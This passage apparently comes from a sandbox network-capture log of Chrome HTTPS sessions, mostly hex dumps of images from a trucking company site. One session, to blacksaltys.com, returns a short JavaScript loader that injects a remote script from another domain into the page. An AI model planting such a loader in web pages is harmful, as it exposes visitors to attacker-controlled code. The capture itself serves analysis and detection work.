2024-10-07 11:17:25 UTC	8000	IN	Data Raw: 50 bb 38 97 5a 22 7b 6b fb ab 67 87 43 21 61 f0 2a e4 6a bb bb 77 67 30 34 cb 4a 72 c1 32 a8 64 ee 5d d9 ed 2d eb b8 34 e7 8a 99 19 cf 9a 57 9a bd e4 9e 64 a8 34 6c bb 93 78 b3 66 88 6e 1c 1a 32 07 1a 2b 90 ef ed 4e fd d5 ea fb db c3 b9 55 5c 8b 91 f7 df 72 46 da 0b 92 ef 13 44 c9 83 9d f1 1b ba 03 74 99 81 19 64 16 2d a6 23 9f dd 37 ab bd c2 4d 77 27 53 f3 aa c3 52 33 84 af 04 96 92 df 42 64 2f 52 a7 13 5f 12 80 71 40 dd 58 51 14 dd 45 0c 0d 45 14 6a 28 85 08 17 51 40 ba a8 81 75 94 00 75 4a 07 d5 14 b4 41 eb 3f 0e ee ef 6d bb 72 66 b4 81 6e e6 9a 8a e3 89 47 3d ab 8d de 66 0f bf ba 7f 37 1a 7a 93 6a ba 7a 60 c6 c7 b8 d4 02 56 5b 8f 43 f8 6f f1 0e ff 00 b4 e5 7d b8 85 97 56 93 02 64 8d e2 8e 07 98 2b 17 de 5a 72 7d df bd bf 7b ee 1b dd c8 b0 47 d7 7f 95 Data Ascii: P8Z"{kgC!a*jwg04Jr2d]-4Wd4lxfn2+NU\rFDtd-#7Mw'SR3Bd/R_q@XQEEj(Q@uuJA?mrfnG=f7zjz`V[Co}Vd+Zr}{G
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: 21 c4 2d 20 24 94 54 71 1f 21 f4 9f a5 4b 50 ad 3f 65 ea 2b 9d f2 20 3e c8 50 75 db 5c 60 ed d0 1a d3 cb 8f ca ba c1 60 b4 0e 38 2a 23 73 05 70 28 1b 4a 71 54 20 6d 78 a8 10 80 38 a0 6e 90 81 c0 81 c2 a8 17 50 e4 11 46 a1 f9 21 01 d4 68 39 22 0e bb 79 20 69 95 a3 ea a0 4e b3 7f 25 05 2d e1 c0 ed 57 44 37 51 d2 da 37 fc f6 ac 76 cc ea d6 b7 cb 80 6c c4 87 b1 e3 17 7d 2b 95 8b 93 62 20 35 c0 8a 9a e5 e0 b4 cb 47 6a b6 37 2f 20 60 e1 88 6f 20 17 2e cd f0 e9 a4 75 d6 96 60 b5 ba 1b a9 ed 19 81 4a 7a 97 92 e6 ba 66 2d b6 1a d4 38 1a 1c 0a e7 6a b1 e3 b4 86 3b b9 ed 9e 01 6c 80 e9 3e 25 7d 2e bd b3 ab cd bc f2 c1 93 6f 73 7a e2 b8 c5 9b 56 d1 9f 0c 44 07 b5 c7 03 e6 1e a5 42 12 06 48 15 b6 ae 90 55 b8 9e 00 66 98 0d 36 f2 34 d0 b5 05 db 2d aa 6b 83 46 8f 95 4c Data Ascii: !- $Tq!KP?e+ >Pu\``8*#sp(JqT mx8nPF!h9"y iN%-WD7Q7vl}+b 5Gj7/ `o .u`Jzf-8j;l>%}.oszVDBHUf64-kFL
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: 4e 52 d0 bd 27 2c e4 1d 17 a7 20 74 25 e4 9c 80 60 90 70 4e 40 10 3c a7 20 bd 09 13 90 3a 12 27 20 74 24 4e 40 f7 79 13 90 82 ee 0b 91 69 2f 4c d1 f4 6e 93 fe 7b 53 39 4a cf 82 f6 46 c8 21 ba 6e 87 f0 77 d5 2a 58 ce 56 64 b2 86 52 1e df 2b b8 38 71 52 c3 22 36 cf 6e ec 6b a4 71 e0 bc fd 9d 12 ba eb d9 85 ca 5b 5d 47 f6 a0 35 c3 0d 61 79 f1 bf 5f 9f 71 d7 3a ed fe 2a 57 36 33 db bb 50 f3 33 83 c2 ef d7 df ae ee 77 4b 15 8b 61 90 f9 c5 2b 99 19 7a c2 ed 8b 19 45 1e d9 1c 12 99 ed e3 c5 d4 ab 9b 92 b3 68 cd 94 9b c4 b4 84 98 00 2f 68 c7 05 aa 92 ab d9 dc 4c eb 2d 13 8a 38 e1 ea 5e 49 f1 ff 00 9e 5e 9b db fc 70 4a b5 9e 56 0d 4e e4 17 ab 38 70 4f 05 8d cd d3 e8 1a 5e 7f 24 64 3d 2a 5a b2 2e 4b b5 08 63 68 91 fa 5e 4d 0b 58 30 1e b5 c7 6e d8 eb af 55 a9 6c 9a Data Ascii: NR', t%`pN@< :' t$N@yi/Ln{S9JF!nwXVdR+8qR"6nkq[]G5ay_q:W63P3wKa+zEh/hL-8^I^pJVN8pO^$d=*Z.Kch^MX0nUl
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: 4d 2b 24 2d 76 04 1c d7 58 3a 1d 95 fa a2 a0 52 b3 18 5b 93 e4 17 92 d4 6a f3 1c 7d 6b 9d 69 46 57 cc 69 46 8a 78 a8 08 dc fd 42 a0 66 10 6b ee 9a 85 9d b1 61 d7 e5 f3 03 c1 51 8f d5 77 2f a5 40 75 0f e4 fc c8 13 a8 78 b7 e9 40 bd 4f e6 7d 28 11 b2 17 ca d6 f4 85 1c 69 5c 50 76 9b bb 7d cf b7 e3 0d 9d cf d6 d0 0c 34 14 c4 20 e3 0c ac af e8 b1 f5 a0 56 38 1c e3 1f 3a 0d 2d 89 8d 93 74 81 ba 06 0e 07 8f 02 10 7a 66 e9 30 83 68 99 fc 98 83 c8 ae 65 73 8b 8f 17 1a 9f 5a 0a bf 4a 0b 70 ed b7 73 53 43 30 39 20 d5 b5 ec fb e9 a9 57 06 fa d4 b5 64 33 71 ed 0b cb 66 97 6a 06 8b 3c e4 6f 83 01 f6 f2 31 fa 5c 31 5a 97 2e 69 62 80 56 ab 72 0b 71 8a 78 00 b6 17 de 9a d7 69 18 a6 45 93 73 aa 32 da 66 b9 07 99 83 e3 a8 cc 66 b3 75 6a 55 69 6e 5a dc fe 45 ce 6b e5 6d 56 Data Ascii: M+$-vX:R[j}kiFWiFxBfkaQw/@ux@O}(i\Pv}4 V8:-tzf0hesZJpsSC09 Wd3qfj<o1\1Z.ibVrqxiEs2ffujUinZEkmV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49875	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:25 UTC	921	OUT	GET /2016/wp-content/uploads/2020/11/Picture-of-truck1.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
2024-10-07 11:17:25 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:25 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 16 Nov 2020 18:15:55 GMT Accept-Ranges: bytes Content-Length: 80940 Content-Type: image/jpeg
2024-10-07 11:17:25 UTC	7958	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 02 60 04 8f 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC`"}!1AQa"q2
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: 25 a9 7e dd 3f 31 8e da c2 09 1f b2 a4 8c ff 00 c8 0a f0 2b cf 0f 68 70 64 cf 24 f7 8d ff 00 4d 64 27 f9 55 35 5b 48 d4 a5 9e 9e 90 29 fe 21 f2 fe bd 6a ff 00 b3 e9 ad 2c 65 f5 b9 b3 d9 b5 2f db 3b c6 17 31 9f b2 59 db da a7 f7 8c 41 54 7d 59 ce 2b 86 d7 3f 6c 2f 15 cb b9 06 bf 2c b2 f4 31 e9 ca 18 2f fc 09 56 b8 d1 a7 59 cc db e6 b4 86 66 ff 00 a6 a0 bf f3 ad 28 a6 8a dd 71 1c 71 44 07 41 1c 60 56 b1 c1 c1 74 33 78 99 be a6 4e a5 f1 ff 00 c7 7a e3 1d 8d ac 5c 82 71 96 77 c7 f3 ac 49 bc 45 e3 fd 5b e6 fb 0c eb bb f8 a6 70 3f 9d 76 0d a9 32 ff 00 19 1f 8d 42 da 89 63 dd bd eb 75 86 8c 4c dd 76 71 c7 47 f1 d5 f6 7c cb 88 6d 87 7d d3 73 fa 52 7f c2 bd f1 05 c7 37 3a e4 31 e7 fb b9 63 fa d7 58 6f 24 63 c2 e6 99 e7 5c 49 fc 26 b5 54 23 d8 87 55 d8 e6 53 e1 6e Data Ascii: %~?1+hpd$Md'U5[H)!j,e/;1YAT}Y+?l/,1/VYf(qqDA`Vt3xNz\qwIE[p?v2BcuLvqG\|m}sR7:1cXo$c\I&T#USn
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: d7 ca 9a 1f 8a 11 95 76 e4 f1 dc 9a ee f4 7d 7a 46 c7 cc a0 7e 75 eb 46 84 24 b4 56 39 65 27 b3 3e a6 d3 7c 44 24 51 89 41 ff 00 81 56 e5 be b0 18 0f 9b f5 af 9c f4 8f 10 5c 2e dd b2 57 65 a6 f8 aa e5 14 74 6f ad 6b f5 79 2f 85 98 36 99 d8 7c 67 d5 17 fe 15 96 b3 96 c0 c4 7f fa 31 6b e6 7f 84 fa f3 27 ed 23 f0 8a d8 b6 04 9a 6e b3 19 1f 43 c7 f2 af 50 f8 a5 e2 6b 9b cf 01 ea 30 ba 20 56 f2 cf 7e ce b5 f3 1d 97 8c 20 f0 77 ed 05 f0 ab 54 ba 62 b0 c1 a7 6b 40 95 ea 09 2c 07 eb 8a e2 e5 9c 31 a9 3d dc 1f fe 95 13 d4 a5 15 2c 13 7f df ff 00 db 24 75 7f b5 d7 c6 59 fc 6f e3 29 74 0b 29 d8 68 7a 53 98 f6 29 f9 66 98 70 ce 7d 71 d0 7e 3e b5 f3 ac b3 2a 72 c4 0f a9 ae 2b c6 9f 15 24 b8 d6 2e 61 d3 f1 34 ec ec d2 ce dc 8c 93 93 8f 53 58 9a d5 b5 f6 bb 62 92 c7 79 Data Ascii: v}zF~uF$V9e'>\|D$QAV\.Wetoky/6\|g1k'#nCPk0 V~ wTbk@,1=,$uYo)t)hzS)fp}q~>*r+$.a4SXby
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: 08 50 a2 bb b9 59 c2 a4 96 87 2f e2 4d 0c 2a 3e d4 15 e6 57 d6 e6 ce e0 fd 6b dd 35 98 56 6b 72 c3 9c 8a f2 7f 14 d8 95 90 b0 5a 23 a1 49 ea 4b e1 7b 9f 32 60 0d 7a df 87 d7 72 a1 cd 78 a7 84 e5 c5 c7 3c 1c f3 5e d1 e1 99 81 55 e6 89 54 51 2d d3 72 3b 7b 5b 71 e5 ae 46 73 53 7d 9c 7a 62 92 de 65 f2 57 e6 ed 52 34 cb 8e b9 ac 5e 20 8f ab b1 9e 48 1c 50 60 1f 8d 06 e1 3b b5 35 af 23 fe f5 2f ac 0f ea ef a8 ef 24 63 38 a6 f9 20 73 4c 6b e8 bf bd 51 b6 a1 10 fe 21 53 f5 81 fd 5c 99 a2 1f 4a 46 8c 01 55 9b 52 8b b9 cf e3 50 be ad 12 f5 6a 3e b0 35 87 65 e2 8a 7a d3 76 8a cb 7d 7e 04 52 0b af 4a a3 37 8a 60 8c 7d e1 4b db b1 fd 5c e8 32 17 da 98 d7 49 1e 7a e3 f3 ae 36 eb c6 c8 b9 00 8a ce 9b c7 3c 1c 1a 5e d2 6f 64 52 a3 15 d4 ef 4e a3 1a f6 6a 67 f6 90 73 80 Data Ascii: PY/M*>Wk5VkrZ#IK{2`zrx<^UTQ-r;{[qFsS}zbeWR4^ HP`;5#/$c8 sLkQ!S\JFURPj>5ezv}~RJ7`}K\2Iz6<^odRNjgs
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: a9 d6 68 59 b8 18 a9 66 ba b4 5c 85 84 fb f3 59 d3 6a 11 c7 90 91 10 71 c7 3c d6 9c a6 65 f8 5a 3d c0 a8 e3 e8 7f 3a b7 1d d0 8f a0 18 1e d5 cd 3e ac d9 ca 2b 0c ff 00 b5 55 db 52 b8 90 e4 9c 7d 0f 14 72 f7 0d 4e cf fb 50 01 81 8a 51 7d bb 3f c5 cf 18 35 c6 0b ab 8e 7e 7c 9a b7 0d c4 bc 65 c8 cd 1c 80 74 ad 79 c6 7f 02 0d 27 db ca f2 c4 56 27 1b 72 67 c9 fa d4 d1 c8 99 c7 9d 93 9c d3 51 41 b1 7e 6b ec ff 00 4c 74 aa 12 de 11 9f 98 e3 b1 a9 8b c4 40 cb 36 7b e2 aa cf 24 5b 48 f9 8f a6 29 35 d8 9b 94 a7 bb cf 01 98 ff 00 2a a1 35 d1 2b 85 e6 ad 5c 14 e7 07 ea 2a 9b 30 c7 1d 3e b5 9b bf 42 59 52 5b 87 5c e4 10 05 67 cb 74 dd 72 4d 68 5d e7 69 f9 6b 16 6c ee 27 77 06 b9 dd d9 3b 83 4c 59 8f 24 8f 6e b5 7e ce e8 a1 1d 4f d0 56 52 a7 4f bd 56 a1 ce e1 92 47 61 Data Ascii: hYf\Yjq<eZ=:>+UR}rNPQ}?5~\|ety'V'rgQA~kLt@6{$[H)55+\0>BYR[\gtrMh]ikl'w;LY$n~OVROVGa
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: 19 a3 b1 b8 92 10 03 17 58 58 ae 0f 43 9c 74 ae 9b c2 3f 14 65 f0 4e 9f 71 62 9a 2e 9b a8 96 9d a5 13 5e 45 b9 d7 23 1b 47 b6 46 6b 7b fe 1a 2b 58 85 76 41 a5 58 41 0e e2 44 69 b8 2e df ee e3 d3 af e7 5d 3e ca 8b 77 94 ed f2 38 be b1 8a 8c 57 b3 a5 7d b5 e6 3c a6 ea de 48 d9 83 c5 22 32 fd ed ca 78 fa fa 56 ff 00 8e f2 35 3b 3c 9c 8f b0 c0 07 fd f3 5d 5d cf c7 2d 56 f2 c6 ea d7 fb 33 4e 8d 2e 15 c3 9d 8c c7 e6 ce 79 27 de b9 2f 1c e1 75 0b 10 3f e7 c6 1f e4 69 4a 30 8c 7d c9 5f e4 38 54 ad 3a d1 f6 b0 e5 df ad fa 19 b1 b6 3c 39 3f 6c 4c 0d 66 05 f3 1b 03 82 4d 5e 8e 4f f8 91 5d 20 3f f2 d0 13 54 e2 ba 8e 15 62 54 39 61 80 73 d2 a6 28 7c de f4 af dc d7 d3 ec 95 2d dd a4 64 8f 77 f1 96 c1 fa 01 5d 1f c3 4d 46 78 fc 51 69 0c 5b 9a d4 4f f3 3e 73 d7 a6 7e b5 Data Ascii: XXCt?eNqb.^E#GFk{+XvAXADi.]>w8W}<H"2xV5;<]]-V3N.y'/u?iJ0}_8T:<9?lLfM^O] ?TbT9as(\|-dw]MFxQi[O>s~
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: 9c 95 75 23 b1 53 5c 9e ad 6e ad 99 01 e3 eb 5e 4e 32 8a f8 a2 7b 18 3a fc be eb 3d 3f c0 9e 30 49 d1 60 92 45 df f5 eb 5e 84 bf 66 bc 8f 6c 91 ac 8a de a3 35 f3 06 93 a8 45 63 74 a4 36 1b 3f 78 36 2b da 3c 1f e2 31 79 6e a8 58 ef 5e bc d4 e1 71 0e 5e ec cb c5 51 8f c5 13 6b 56 f0 16 95 71 27 98 6c 20 90 75 fb 82 a2 b5 f0 9e 9b 6e bf bb b6 8e 33 e9 b4 57 4d 67 75 e6 c6 03 e3 6f 7a 8e e8 d9 da c9 bd d8 ec 26 bb dd 18 5e e9 1e 5a ab 34 ac ce 66 f3 47 5b 65 fd da a8 5f a0 ae 3b 5e 9a e6 df 76 d8 e1 72 39 1e 64 2a 6b d5 5a e3 40 68 f7 4d 76 23 5c 77 7a cc ba 9b c2 1b 72 f7 6b 27 fd b4 14 9c 55 ad 70 e6 7b 9e 20 de 34 bb b4 3b 5e c7 4f 2d 9c 7c d6 8a 6a c4 7e 35 b8 9b ee d8 69 2c 7a 7f c7 a8 ae e7 5c 87 c0 b3 6e 66 31 92 3a fc e2 b8 ad 4a ff 00 c1 96 2e de 44 Data Ascii: u#S\n^N2{:=?0I`E^fl5Ect6?x6+<1ynX^q^QkVq'l un3WMguoz&^Z4fG[e_;^vr9d*kZ@hMv#\wzrk'Up{ 4;^O-\|j~5i,z\nf1:J.D
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: a6 23 fe 0a a9 04 7f eb 7c 1f 75 ef b5 97 fc 69 1b fe 0a c3 a6 47 f7 bc 21 7d f9 8a fc d2 5d 7a 3c 93 e4 a9 f7 24 d3 97 c4 30 a8 f9 a2 4c e3 d4 d5 7d 4e 3f cf 2f bd ff 00 98 7d 65 ff 00 22 fb 91 fa 50 ff 00 f0 56 5d 2c 2e 47 83 ef bf 4a ad 37 fc 15 9e d1 7e ef 82 ef 8f e2 2b f3 7e e3 c5 50 43 09 c4 28 0e 7d 4d 64 ff 00 c2 74 bd 0c 51 63 3d 32 6a be a7 1f e7 7f 7b ff 00 32 7e b4 ef f0 2f b9 1f a4 d3 7f c1 5b 9b 9f 27 c1 17 87 fd e6 5a c8 be ff 00 82 b5 6b 6c 8c 2d bc 15 22 1c 70 5d 87 1f ad 7e 76 ff 00 c2 6d 16 79 8a 20 0d 33 fe 13 b8 d7 90 b1 fe 54 96 0e 9d f5 9b fb df f9 84 b1 52 5b 41 7d cb fc 8f ab bc 71 fb 7d 78 df c7 5a c4 77 f2 3e a5 a6 34 27 31 2d a2 2a 84 fc 8e 4d 57 b5 fd b8 3e 27 e1 7c bf 13 6b e0 7f b4 8a 7f ad 7c b4 3e 20 ed fb ad 1e 3d 80 c5 Data Ascii: #\|uiG!}]z<$0L}N?/}e"PV],.GJ7~+~PC(}MdtQc=2j{2~/['Zkl-"p]~vmy 3TR[A}q}xZw>4'1-*MW>'\|k\|> =
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: a9 96 1f 9b a8 2a ab b1 e6 0d f0 df 4a 39 26 39 07 3c f4 a1 be 1b e9 3b 49 11 c8 31 c6 2b d3 7c bd 3d c8 02 e1 31 f5 a6 ff 00 67 59 c9 8c 5c 2b 7f c0 85 43 c2 cb a3 1f b5 5d 8f 2b 97 e1 76 9f 23 02 b2 32 28 ed b6 ab b7 c2 7b 70 09 86 ed 91 bd 0a 91 5e b2 74 78 1b 25 25 18 fa d3 0e 8a 08 1f 36 7f 3a 9f ab 4f b8 fd b4 4f 22 ff 00 85 65 73 0e 76 de 29 fc 4d 71 9e 2b 8e e3 41 99 62 0c 59 71 8d c6 be 8c 6d 1f 1d 39 ae 13 e2 17 81 5b 53 b4 69 23 50 0e 3a f5 34 7b 2a 8b 71 f3 c5 ec 78 05 cc d2 5c b6 59 bf 0a 87 cb f7 ab 97 d6 b2 69 d7 0f 04 c9 89 14 e2 aa 33 74 ac f5 34 d0 61 eb 4d c7 a1 a7 9c 7e 14 df 7a 06 6b f8 57 4a 9f 5a d6 ad ac 6d 88 0f 33 63 73 72 00 ee 6b d5 a5 f8 32 7a c7 2c 6f f9 8f c6 99 f0 77 c2 6d a3 da be b1 79 11 4b 8b 84 c4 0a c3 94 4f 5f c7 f9 Data Ascii: J9&9<;I1+\|=1gY\+C]+v#2({p^tx%%6:OO"esv)Mq+AbYqm9[Si#P:4{qx\Yi3t4aM~zkWJZm3csrk2z,owmyKO_
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: 8d e0 1b 0e a2 33 51 b7 80 ec fb 47 8c 57 a0 79 f6 ad d5 70 7e 86 8d d6 8d d1 97 27 de 97 3a eb 10 e5 ed 23 cf 3f e1 02 b4 dc 3e 4e 01 a6 ff 00 c2 0f 6c ac 14 2a 0c 77 c5 7a 2a db da b3 70 f8 f5 e4 50 74 f8 4b 0d a4 7e 54 bd a5 3e a8 ae 49 74 67 9b 1f 05 45 c9 da 07 e1 4d ff 00 84 35 17 3f 2f 3f 4a f4 96 d3 54 b7 de 07 f0 a6 7f 65 00 3a 8f ce 8e 7a 56 dc 39 26 79 bf fc 21 e9 d8 0e be 94 df f8 44 d5 58 1d bf 95 7a 37 f6 61 e3 e5 03 1e 86 a3 3a 5b 2b 29 d8 7e 95 57 a7 d1 91 69 f6 3c fb fe 11 95 1c 60 0a 3f e1 1b 51 d5 6b bc 7d 34 f2 36 9f 6e 2a 36 b1 19 e5 78 f7 15 56 87 70 bc 96 8d 1c 37 fc 23 eb e8 29 df d8 63 ae 01 ae cd ac 86 48 23 1f 85 47 25 88 f4 eb df 14 f9 17 42 6e fa 9c 9f f6 4a 77 c6 71 e9 47 f6 5c 63 b0 cf d2 ba 86 b1 1e 9d 3d a9 9f 62 1c e7 39 Data Ascii: 3QGWyp~':#?>NlwzpPtK~T>ItgEM5?/?JTe:zV9&y!DXz7a:[+)~Wi<`?Qk}46n*6xVp7#)cH#G%BnJwqG\c=b9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49870	77.232.36.155	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:25 UTC	382	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:25 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 226 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 11:17:25 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-10-07 11:17:25 UTC	226	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=')

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49877	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:25 UTC	661	OUT	GET /2016/wp-content/uploads/2021/03/typical-cab-structural.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
2024-10-07 11:17:25 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:25 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 03 Mar 2021 20:24:22 GMT Accept-Ranges: bytes Content-Length: 946004 Content-Type: image/png
2024-10-07 11:17:25 UTC	7958	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 da 00 00 03 2c 08 06 00 00 00 82 e7 cf c0 00 00 0c 6c 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 52 49 68 01 04 a4 84 de 04 e9 04 90 12 42 0b 20 bd 08 36 42 12 48 28 31 26 04 15 3b ba a8 e0 da 45 14 2b ba 2a a2 d8 56 40 ec d8 95 45 b1 f7 c5 82 8a b2 2e ea 62 43 e5 4d 48 40 d7 7d e5 7b e7 fb e6 de 3f 67 ce fc a7 dc 99 dc 7b 00 d0 fa c0 93 4a f3 51 6d 00 0a 24 85 b2 c4 88 10 e6 a8 f4 0c 26 a9 03 20 40 03 90 80 0b 20 f3 f8 72 29 3b 3e 3e 06 40 19 b8 ff 5d de dd 80 d6 50 ae 3a 2b b9 fe 39 ff 5f 45 57 20 94 f3 01 40 c6 40 9c 25 90 f3 0b 20 3e 0e 00 be 96 2f 95 15 02 40 54 ea ad 26 15 4a 95 78 16 c4 7a 32 18 20 c4 2b 94 38 47 85 b7 2b 71 96 0a 1f ee b7 49 4e e4 40 Data Ascii: PNGIHDR,liCCPICC ProfileHWXS[RIhB 6BH(1&;E+*V@E.bCMH@}{?g{JQm$& @ r);>>@]P:+9_EW @@% >/@T&Jxz2 +8G+qIN@
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: 05 49 48 f9 15 0d a8 00 a1 e8 99 ce 1c 42 30 3d 78 41 12 52 7e 45 03 2a 40 28 7a a6 33 87 10 4c 0f 5e 90 84 94 5f d1 80 0a 10 8a 9e e9 cc 21 04 d3 83 17 24 21 e5 57 54 d0 5d 97 db 57 47 af c6 57 47 b9 a3 cd 0f 4f a4 a4 0b ba 69 2e 4a b8 92 b6 bc 8c c3 29 56 b3 17 d2 38 ba a5 21 a4 d3 0d ff 58 0a 8f 65 d1 85 08 4e 55 2d 96 c6 e1 34 e2 bf 7a ff 66 d7 d6 6a 28 3b dd 68 7f a3 fd 8d fe 37 1d 64 d6 90 bd f7 10 60 1c 4e 63 fc 19 e3 cf aa 3b 58 37 d6 d6 56 d5 e9 c6 f8 3b c6 df 31 fe ae 31 de 4e 4d de 7b a8 35 0e a7 31 fe 8e f1 77 8c bf d3 7e e2 72 77 af a9 90 4e 37 ee 3f e3 fe 33 ee 3f cb 9d 67 51 eb bd 87 26 e3 70 fa 49 bb ff ec bc e2 03 65 dd 8e cb df 87 85 b6 fa d5 d1 ba a4 65 f1 8a f8 04 d3 ab 19 38 98 d8 e6 0c d1 c3 0c db 4e 6b 1a 1b 6c f8 47 2c ea 2d 30 42 Data Ascii: IHB0=xAR~E*@(z3L^_!$!WT]WGWGOi.J)V8!XeNU-4zfj(;h7d`Nc;X7V;11NM{51w~rwN7?3?gQ&pIee8NklG,-0B
